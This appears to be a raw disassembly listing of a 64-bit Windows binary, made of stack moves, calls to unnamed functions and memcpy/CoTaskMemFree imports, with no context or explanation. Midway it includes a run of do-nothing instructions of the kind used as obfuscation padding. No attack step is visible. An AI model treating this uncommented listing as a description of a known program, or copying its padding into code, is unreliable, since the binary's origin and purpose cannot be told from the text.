mov r9, qword [rsp + 0xdb8]
mov rax, qword [rsp + 0xdc0]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0xdc8]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0xdd0]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xdd8]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xde0]
mov qword [rsp + 0x50], rax
jmp 0x14001740a
mov eax, dword [rsp + 0x180]
mov ecx, dword [rsp + 0x183]
mov dword [rsp + 0xc4], ecx
mov dword [rsp + 0xc1], eax
mov eax, dword [rsp + 0xc1]
mov ecx, dword [rsp + 0xc4]
mov dword [rsp + 0x140], eax
mov dword [rsp + 0x143], ecx
mov rax, rbp
shr rax, 0x20
mov ecx, dword [rsp + 0x140]
mov edx, dword [rsp + 0x143]
mov dword [rsp + 0x370], ecx
mov dword [rsp + 0x373], edx
cmp byte [rsp + 0xa0], 0x18
je 0x140015632
mov ecx, dword [rsp + 0x370]
mov edx, dword [rsp + 0x373]
mov dword [rsp + 0x1d3], edx
mov dword [rsp + 0x1d0], ecx
mov ecx, dword [rsp + 0x1e978]
cmp byte [rsp + 0x1e97c], 0
je 0x1400174d4
mov r13d, 1
jmp 0x1400174f8
mov eax, dword [rsp + 0xdbc]
mov dword [rsp + 0x108], eax
mov rax, qword [rsp + 0xdc0]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0xdc8]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0xdd0]
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0xdd8]
mov rax, rcx
and rax, 0xffffffffffffff00
mov r9, rcx
mov qword [rsp + 0x80], rcx
and rcx, 0xffffffffffff0000
mov r9, qword [rsp + 0xde0]
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x100], r8
jmp 0x140017432
mov rax, r8
shr rax, 0x20
mov rcx, qword [rsp + 0x88]
shl ecx, 8
movzx ecx, cx
and eax, 0xff00ff
or eax, ecx
mov byte [rsp + 0x104], 0x13
mov byte [rsp + 0x107], 0
mov word [rsp + 0x105], 0x17
shr r8, 0x30
mov byte [rsp + 0x10a], r8b
mov word [rsp + 0x108], ax
mov r9d, dword [rsp + 0x25c]
mov rdi, qword [rsp + 0x104]
xor ecx, ecx
xor eax, eax
jmp 0x140017446
lea rcx, [rsp + 0x5c8]
test rax, rax
je 0x1400173d5
test byte [rcx], 1
je 0x1400173d5
cmp rsi, 2
jb 0x1400173d5
movabs rax, 0x1ffffffff
cmp rsi, rax
ja 0x1400173d5
mov r13, qword [rsp + 0x590]
mov rbp, qword [rsp + 0x598]
mov r12, qword [rsp + 0x5a0]
mov rsi, qword [rsp + 0x5a8]
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x5b8]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x5c0]
mov qword [rsp + 0x38], rax
mov r15, qword [rsp + 0x5c8]
movdqa xmm0, xmmword [rsp + 0x5d0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x5e0]
movaps xmmword [rsp + 0xd0], xmm1
mov rbx, rbp
shr rbx, 0x20
movdqa xmmword [rsp + 0x590], xmm0
movaps xmmword [rsp + 0x5a0], xmm1
jmp 0x140013987
lea rcx, [rsp + 0x590]
call fcn.14003b3c4
jmp 0x140012ca7
mov rcx, rax
xor eax, eax
sub ecx, r8d
cmovb ecx, eax
mov qword [rsp + 0x90], rcx
mov r9, r8
shl r9, 0x20
or r9, 0x15
mov edx, 1
mov rcx, qword [rsp + 0x80]
mov rax, rcx
and rax, 0xffffffffffffff00
and rcx, 0xffffffffffff0000
mov dword [rsp + 0x100], r8d
mov qword [rsp + 0x104], r9
mov r9d, dword [rsp + 0x25c]
mov rdi, qword [rsp + 0x104]
test edx, edx
jne 0x140017449
xor r8d, r8d
add r9d, r8d
setae dl
cmp r9d, 0x10000000
setb r8b
and r8b, dl
and eax, 0xff00
movzx edx, byte [rsp + 0x80]
or rdx, rcx
or rdx, rax
mov qword [rsp + 0x38], rdx
shl r9, 0x20
xor eax, eax
test r8b, r8b
cmovne rax, r9
movzx r14d, r8b
or r14, rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x58], rax
mov rbx, qword [rsp + 0x90]
jmp 0x14001560e
call sub.ole32.dll_CoTaskMemFree
mov byte [rsp + 0xdc8], 2
call fcn.140041f17
ud2
cmp byte [rsp + 0x88], 0
jne 0x140016f8f
jmp 0x140016f6b
mov edx, dword [rsp + 0x1e970]
cmp edx, ecx
jbe 0x14001779b
xor eax, eax
sub edx, ecx
cmovb edx, eax
mov r13, rcx
shl r13, 0x20
or r13, 0x15
mov r15, rdx
shl rcx, 0x20
or rcx, 1
jmp 0x14001563d
mov rcx, r12
mov rdx, r15
jmp 0x140017735
movdqu xmm0, xmmword [rsp + 0x594]
mov eax, dword [rsp + 0x5a4]
mov dword [rsp + 0xd0], eax
movups xmm1, xmmword [rsp + 0x5a8]
movaps xmmword [rsp + 0x140], xmm1
mov eax, dword [rsp + 0x5b8]
mov dword [rsp + 0x150], eax
movdqu xmmword [rsp + 0xc0], xmm0
jmp 0x14001772b
mov al, byte [rsp + 0x596]
mov byte [rsp + 0xc2], al
movzx eax, word [rsp + 0x594]
mov word [rsp + 0xc0], ax
movups xmm0, xmmword [rsp + 0x597]
movups xmmword [rsp + 0xc3], xmm0
mov al, byte [rsp + 0x5a7]
mov byte [rsp + 0xd3], al
movdqu xmm0, xmmword [rsp + 0x5a8]
movdqa xmmword [rsp + 0x140], xmm0
mov eax, dword [rsp + 0x5b8]
jmp 0x140017724
mov eax, dword [rsp + 0x5a4]
mov dword [rsp + 0x260], eax
movdqu xmm0, xmmword [rsp + 0x594]
movups xmm1, xmmword [rsp + 0x5a8]
movaps xmmword [rsp + 0x140], xmm1
mov ecx, dword [rsp + 0x5b8]
mov dword [rsp + 0x150], ecx
movdqa xmmword [rsp + 0xc0], xmm0
mov dword [rsp + 0xd0], eax
jmp 0x14001772b
mov rax, qword [rsp + 0x594]
movups xmm0, xmmword [rsp + 0x59c]
movups xmmword [rsp + 0x25c], xmm0
movups xmm0, xmmword [rsp + 0x5ac]
movups xmmword [rsp + 0x26c], xmm0
movdqu xmm0, xmmword [rsp + 0x5b8]
movdqu xmmword [rsp + 0x278], xmm0
mov qword [rsp + 0x254], rax
jmp 0x140017699
mov al, byte [rsp + 0x596]
mov byte [rsp + 0x256], al
movzx eax, word [rsp + 0x594]
mov word [rsp + 0x254], ax
movups xmm0, xmmword [rsp + 0x597]
movups xmmword [rsp + 0x257], xmm0
movups xmm0, xmmword [rsp + 0x5a7]
movups xmmword [rsp + 0x267], xmm0
movdqu xmm0, xmmword [rsp + 0x5b7]
movdqu xmmword [rsp + 0x277], xmm0
mov al, byte [rsp + 0x5c7]
mov byte [rsp + 0x287], al
mov eax, dword [rsp + 0x254]
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x60], rax
mov rbp, qword [rsp + 0x260]
mov rdi, qword [rsp + 0x268]
mov eax, dword [rsp + 0x270]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x274]
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x278]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0xc0], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xc4], rax
mov qword [rsp + 0xcc], rbp
mov qword [rsp + 0x140], rdi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x148], eax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x14c], eax
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x150], eax
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x48]
call fcn.14001b4c0
ud2
xor eax, eax
sub esi, edx
cmovb esi, eax
mov byte [rsp + 0xc4], 0x15
mov dword [rsp + 0xc8], edx
mov dword [rsp + 0xcc], esi
mov dword [rsp + 0xc0], edx
jmp 0x14001772b
xor rax, 0
sub rax, 0
nop
add rax, 0
add rax, 0
or rax, rax
xor rax, 0
nop
mov rax, rax
or rax, rax
xor rax, 0
xor rax, 0
sub rax, 0
jmp 0x1400174ba
mov ecx, dword [rsp + 0x1d3]
mov dword [rsp + 0x2eb], ecx
mov ecx, dword [rsp + 0x1d0]
mov dword [rsp + 0x2e8], ecx
shl rax, 0x20
mov ecx, ebp
or rcx, rax
mov eax, dword [rsp + 0x2e8]
mov edx, dword [rsp + 0x2eb]
mov dword [rsp + 0x3c0], eax
mov dword [rsp + 0x3c3], edx
mov eax, dword [rsp + 0x3c0]
lea rdx, [rsp + 0x270]
mov dword [rdx + 0x41], eax
mov eax, dword [rsp + 0x3c3]
mov dword [rdx + 0x44], eax
mov qword [rdx - 0x20], rcx
mov qword [rdx - 0x18], r13
mov qword [rdx - 0x10], r15
mov qword [rdx - 8], rsi
mov qword [rdx], r14
mov qword [rdx + 8], rdi
mov qword [rdx + 0x10], rbx
mov rax, qword [rsp + 0x58]
mov qword [rdx + 0x18], rax
mov rax, qword [rsp + 0x60]
mov qword [rdx + 0x20], rax
mov rax, qword [rsp + 0x38]
mov qword [rdx + 0x28], rax
mov rax, qword [rsp + 0x50]
mov qword [rdx + 0x30], rax
mov rax, qword [rsp + 0xb8]
mov qword [rdx + 0x38], rax
mov al, byte [rsp + 0xa0]
mov byte [rdx + 0x40], al
lea rdi, [rsp + 0x1e960]
mov rcx, rdi
call fcn.14003b3f8
mov eax, dword [rdi]
cmp eax, 6
jne 0x140017b15
cmp rsi, 0xfffffff
ja 0x140017bab
mov eax, esi
lea rdx, [rsp + 0x590]
mov qword [rdx], r15
mov qword [rdx + 8], rsi
mov qword [rdx + 0x10], rax
and qword [rdx + 0x18], 0
lea rsi, [rsp + 0xdb0]
mov rcx, rsi
call fcn.140023124
mov eax, dword [rsi]
cmp eax, 2
jne 0x140017bc4
lea rdi, [rsp + 0xdb0]
mov rsi, qword [rdi + 4]
mov rdx, rsi
shr rdx, 0x20
mov rcx, rdi
mov r8d, 9
call fcn.140023598
mov eax, dword [rdi]
cmp eax, 2
jne 0x140017c25
lea rdi, [rsp + 0xdb0]
lea rdx, [rsp + 0x590]
mov rcx, rdi
mov r8d, esi
call fcn.140034337
mov eax, dword [rdi]
cmp eax, 2
jne 0x140017c9a
lea rsi, [rsp + 0xdb0]
movdqu xmm0, xmmword [rsi + 8]
lea rdx, [rsp + 0x140]
movdqu xmmword [rdx], xmm0
mov rcx, rsi
call fcn.140034cef
mov eax, dword [rsi]
cmp eax, 2
jne 0x140017d02
mov al, byte [rsp + 0xdb4]
mov byte [rsp + 0x90], al
cmp al, 2
jae 0x140017d70
lea rsi, [rsp + 0xdb0]
lea rdx, [rsp + 0x140]
mov rcx, rsi
call fcn.140033337
mov eax, dword [rsi]
cmp eax, 2
jne 0x140017d96
lea rsi, [rsp + 0xdb0]
mov rdi, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
mov rbp, qword [rsi + 0x18]
lea rdx, [rsp + 0x140]
mov rcx, rsi
call fcn.140033337
mov eax, dword [rsi]
cmp eax, 2
jne 0x140017d96
lea rbx, [rsp + 0xdb0]
mov rsi, qword [rbx + 8]
mov r13, qword [rbx + 0x10]
mov rax, qword [rbx + 0x18]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x140]
mov rcx, rbx
call fcn.140033337
mov eax, dword [rbx]
cmp eax, 2
jne 0x140017d96
lea rbx, [rsp + 0xdb0]
mov rax, qword [rbx + 8]
mov qword [rsp + 0x38], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x140]
mov rcx, rbx
call fcn.140033337
mov eax, dword [rbx]
cmp eax, 2
jne 0x140017d96
lea rbx, [rsp + 0xdb0]
mov rax, qword [rbx + 8]
mov qword [rsp + 0x88], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0xa0], rax
lea rdx, [rsp + 0x140]
mov rcx, rbx
call fcn.140033337
mov eax, dword [rbx]
cmp eax, 2
jne 0x140017d96
lea rbx, [rsp + 0xdb0]
mov rax, qword [rbx + 8]
mov qword [rsp + 0xb8], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x80], rax
lea rdx, [rsp + 0x140]
mov rcx, rbx
call fcn.140033337
mov eax, dword [rbx]
cmp eax, 2
jne 0x140017d96
lea rbx, [rsp + 0xdb0]
lea rdx, [rsp + 0x140]
mov rcx, rbx
call fcn.140033337
mov eax, dword [rbx]
cmp eax, 2
jne 0x140017d96
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
jmp 0x140017735
mov ecx, dword [rsp + 0x1e994]
mov dword [rsp + 0xdf4], ecx
movdqu xmm0, xmmword [rsp + 0x1e964]
movups xmm1, xmmword [rsp + 0x1e974]
movups xmm2, xmmword [rsp + 0x1e984]
movups xmmword [rsp + 0xde4], xmm2
movups xmmword [rsp + 0xdd4], xmm1
movdqu xmmword [rsp + 0xdc4], xmm0
mov dword [rsp + 0xdc0], eax
mov qword [rsp + 0xdb8], 3
jmp 0x14001567e
lea rcx, [rsp + 0x510]
call fcn.140003349
jmp 0x14001773a
lea rcx, [rsp + 0x590]
call fcn.14002bdef
lea rcx, [rsp + 0x370]
call fcn.14002bdef
lea rcx, [rsp + 0x2e8]
call fcn.14002bdef
jmp 0x14001773a
mov rbx, rsi
shl rbx, 0x20
or rbx, 0xc
mov r13d, esi
xor r14d, r14d
mov rbp, rsi
jmp 0x140017e1a
mov rcx, qword [rsp + 0xdb4]
mov edx, dword [rsp + 0xdbc]
mov dword [rsp + 0x1dc], edx
mov rsi, qword [rsp + 0xdc0]
mov r13, qword [rsp + 0xdc8]
mov rdx, qword [rsp + 0xdd0]
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsp + 0xdd8]
mov qword [rsp + 0x38], rdx
mov rdx, qword [rsp + 0xde0]
mov qword [rsp + 0x58], rdx
mov dword [rsp + 0x1d0], eax
mov qword [rsp + 0x1d4], rcx
jmp 0x140017e03
mov cl, byte [rsp + 0xdb6]
mov byte [rsp + 0x1d6], cl
movzx ecx, word [rsp + 0xdb4]
mov word [rsp + 0x1d4], cx
mov rcx, qword [rsp + 0xdb7]
mov qword [rsp + 0x1d7], rcx
mov cl, byte [rsp + 0xdbf]
mov byte [rsp + 0x1df], cl
mov rsi, qword [rsp + 0xdc0]
mov r13, qword [rsp + 0xdc8]
mov rcx, qword [rsp + 0xdd0]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rsp + 0xdd8]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsp + 0xde0]
mov qword [rsp + 0x58], rcx
jmp 0x140017cf6
mov ecx, dword [rsp + 0xdbc]
mov dword [rsp + 0x108], ecx
mov rdx, qword [rsp + 0xdb4]
mov rsi, qword [rsp + 0xdc0]
mov r13, qword [rsp + 0xdc8]
mov r8, qword [rsp + 0xdd0]
mov qword [rsp + 0x60], r8
mov r8, qword [rsp + 0xdd8]
mov qword [rsp + 0x38], r8
mov r8, qword [rsp + 0xde0]
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x1d4], rdx
mov dword [rsp + 0x1dc], ecx
mov dword [rsp + 0x1d0], eax
jmp 0x140017e03
mov r14, rax
mov bl, byte [rsp + 0xdb4]
movzx eax, byte [rsp + 0xdb7]
shl eax, 0x10
movzx ecx, word [rsp + 0xdb5]
or ecx, eax
mov rdx, qword [rsp + 0xdb8]
mov rax, rdx
and rax, 0xffffffffffffff00
and qword [rsp + 0x40], rdx
mov rsi, qword [rsp + 0xdc0]
mov r13, qword [rsp + 0xdc8]
mov r8, qword [rsp + 0xdd0]
mov qword [rsp + 0x60], r8
mov r8, qword [rsp + 0xdd8]
mov qword [rsp + 0x38], r8
mov r8, qword [rsp + 0xde0]
mov qword [rsp + 0x58], r8
jmp 0x140017d84
xor eax, eax
mov qword [rsp + 0x40], rax
mov eax, 0x100
mov edx, 0x17
xor r14d, r14d
and eax, 0xffffff00
movzx ebp, dl
or rbp, qword [rsp + 0x40]
or rbp, rax
jmp 0x140017de4
mov ebx, dword [rsp + 0xdb4]
mov rbp, qword [rsp + 0xdb8]
mov rsi, qword [rsp + 0xdc0]
mov r13, qword [rsp + 0xdc8]
mov rcx, qword [rsp + 0xdd0]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rsp + 0xdd8]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsp + 0xde0]
mov qword [rsp + 0x58], rcx
mov ecx, ebx
shr ecx, 8
mov r14d, eax
shl ecx, 8
movzx eax, bl
or eax, ecx
mov dword [rsp + 0x1d0], r14d
mov dword [rsp + 0x1d4], eax
mov qword [rsp + 0x1d8], rbp
mov r14, qword [rsp + 0x1d0]
mov rbx, qword [rsp + 0x1d8]
mov rbp, r14
shr rbp, 0x20
xor edi, edi
shl rbp, 0x20
mov r8d, r14d
or r8, rbp
test rdi, rdi
je 0x140017e6d
test r15, r15
je 0x140017ec4
lea rdx, [rsp + 0x1e960]
mov qword [rdx], 7
lea rsi, [rsp + 0xdb8]
mov rcx, rsi
call fcn.14003b489
mov qword [rsi - 8], 2
mov rcx, r15
mov rdx, qword [rsp + 0x50]
call fcn.14003b4fb
jmp 0x14001568a
lea rdx, [rsp + 0x1e960]
mov qword [rdx], 4
mov qword [rdx + 8], r8
mov qword [rdx + 0x10], rbx
mov qword [rdx + 0x18], rsi
mov qword [rdx + 0x20], r13
mov rax, qword [rsp + 0x60]
mov qword [rdx + 0x28], rax
mov rax, qword [rsp + 0x38]
mov qword [rdx + 0x30], rax
mov rax, qword [rsp + 0x58]
mov qword [rdx + 0x38], rax
lea rsi, [rsp + 0xdb8]
mov rcx, rsi
call fcn.14003b489
mov qword [rsi - 8], 2
jmp 0x14001568a
lea rbx, [rsp + 0xd20]
mov rcx, rbx
mov rdx, rdi
call fcn.14003b1d1
lea rdi, [rsp + 0xd50]
mov rcx, rdi
mov rdx, rsi
mov r8, r13
call fcn.14003b1d1
lea rbp, [rsp + 0xd80]
mov rcx, rbp
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x58]
call fcn.14003b1d1
lea r15, [rsp + 0xcc0]
mov rcx, r15
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0xa0]
call fcn.14003b1d1
lea r13, [rsp + 0xc10]
mov rcx, r13
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0x80]
call fcn.14003b1d1
mov ecx, 0x60
mov edx, 8
call fcn.140024cff
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm1
movups xmmword [rax + 0x50], xmm2
mov qword [rsp + 0x4f8], rax
mov edx, 2
mov qword [rsp + 0x500], rdx
mov qword [rsp + 0x508], rdx
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
lea rsi, [rsp + 0x1e960]
movaps xmmword [rsi + 0x20], xmm2
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi], xmm0
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movaps xmmword [rsi + 0x30], xmm0
movaps xmmword [rsi + 0x40], xmm1
movaps xmmword [rsi + 0x50], xmm2
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
lea rax, [rsp + 0xdb0]
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x70], xmm1
movups xmmword [rax + 0x80], xmm2
mov rcx, qword [rsp + 0x508]
mov qword [rax + 0x150], rcx
movdqu xmm0, xmmword [rsp + 0x4f8]
movdqu xmmword [rax + 0x140], xmm0
mov ecx, 0xc
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rax + 0x90], rdx
cmp qword [rax + 0x150], 0
je 0x14001773a
lea r14, [rsp + 0xe10]
mov rsi, qword [r14 + 0xe0]
lea rdi, [rsp + 0x1e960]
mov rcx, rdi
call fcn.14003af75
lea rbx, [rsp + 0x590]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.14002cf54
lea rcx, [rsp + 0x530]
mov rdx, r14
mov r8, rbx
call fcn.14003b505
cmp qword [r14 + 0xf0], 1
jbe 0x14001773a
mov rsi, qword [rsp + 0xef0]
add rsi, 0x30
lea rdi, [rsp + 0x1e960]
mov rcx, rdi
call fcn.14003af75
lea rbx, [rsp + 0x590]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.14002cf54
lea rcx, [rsp + 0x560]
lea rdx, [rsp + 0xe10]
mov r8, rbx
call fcn.14003b505
cmp qword [rsp + 0xf00], 1
jbe 0x14001773a
mov rdx, qword [rsp + 0xef0]
add rdx, 0x30
lea rcx, [rsp + 0x590]
call fcn.14003af0d
cmp qword [rsp + 0xf00], 0
je 0x14001773a
mov r8, qword [rsp + 0xef0]
lea rsi, [rsp + 0x1e960]
lea rdx, [rsp + 0x590]
mov rcx, rsi
call fcn.1400314b6
cmp dword [rsi], 2
je 0x14001870f
mov rax, qword [rsp + 0x1e990]
mov qword [rsp + 0x200], rax
movdqu xmm0, xmmword [rsp + 0x1e960]
movups xmm1, xmmword [rsp + 0x1e970]
movups xmm2, xmmword [rsp + 0x1e980]
movaps xmmword [rsp + 0x1f0], xmm2
movaps xmmword [rsp + 0x1e0], xmm1
movdqa xmmword [rsp + 0x1d0], xmm0
mov rax, qword [rsp + 0xf00]
test rax, rax
je 0x14001773a
cmp rax, 1
je 0x14001773a
mov rdx, qword [rsp + 0xef0]
lea r8, [rdx + 0x30]
lea rcx, [rsp + 0x3c0]
call fcn.14002d4b3
mov rax, qword [rsp + 0xf00]
mov rsi, rax
add rsi, 0xfffffffffffffffe
je 0x140018200
movabs rax, 0xc30c30c30c30c3
cmp rsi, rax
ja 0x14001773a
mov ebx, 8
mov qword [rsp + 0x358], rbx
mov qword [rsp + 0x360], rsi
and qword [rsp + 0x368], 0
cmp rax, 1
jbe 0x14001773a
lea rcx, [rsp + 0x560]
call fcn.14002bdef
lea rcx, [rsp + 0x530]
call fcn.14002bdef
lea rdx, [rsp + 0xe00]
mov rsi, qword [rdx - 0x50]
mov rdi, qword [rdx - 0x48]
mov rbx, qword [rdx - 0x40]
movups xmm0, xmmword [rdx - 0x38]
movaps xmmword [rsp + 0x590], xmm0
movups xmm0, xmmword [rdx - 0x28]
movaps xmmword [rsp + 0x5a0], xmm0
movdqu xmm0, xmmword [rdx - 0x18]
movdqa xmmword [rsp + 0x5b0], xmm0
mov rax, qword [rdx - 8]
mov qword [rsp + 0x5c0], rax
lea rcx, [rsp + 0x1e960]
mov r8d, 0x108
call sub.msvcrt.dll_memcpy
cmp rsi, 2
jne 0x14001879b
mov qword [rsp + 0xdb8], 1
mov esi, 2
jmp 0x1400187f0
lea rcx, [rsp + 0xe00]
mov qword [rcx - 0x48], rdi
mov qword [rcx - 0x40], rbx
movdqa xmm0, xmmword [rsp + 0x590]
movaps xmm1, xmmword [rsp + 0x5a0]
movaps xmm2, xmmword [rsp + 0x5b0]
movdqu xmmword [rcx - 0x38], xmm0
movups xmmword [rcx - 0x28], xmm1
movups xmmword [rcx - 0x18], xmm2
mov rax, qword [rsp + 0x5c0]
mov qword [rcx - 8], rax
lea rdx, [rsp + 0x1e960]
mov r8d, 0x108
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xdb0], rsi
xor ecx, ecx
mov rdx, qword [rsp + 0x50]
call fcn.14003b4fb
jmp 0x14001568f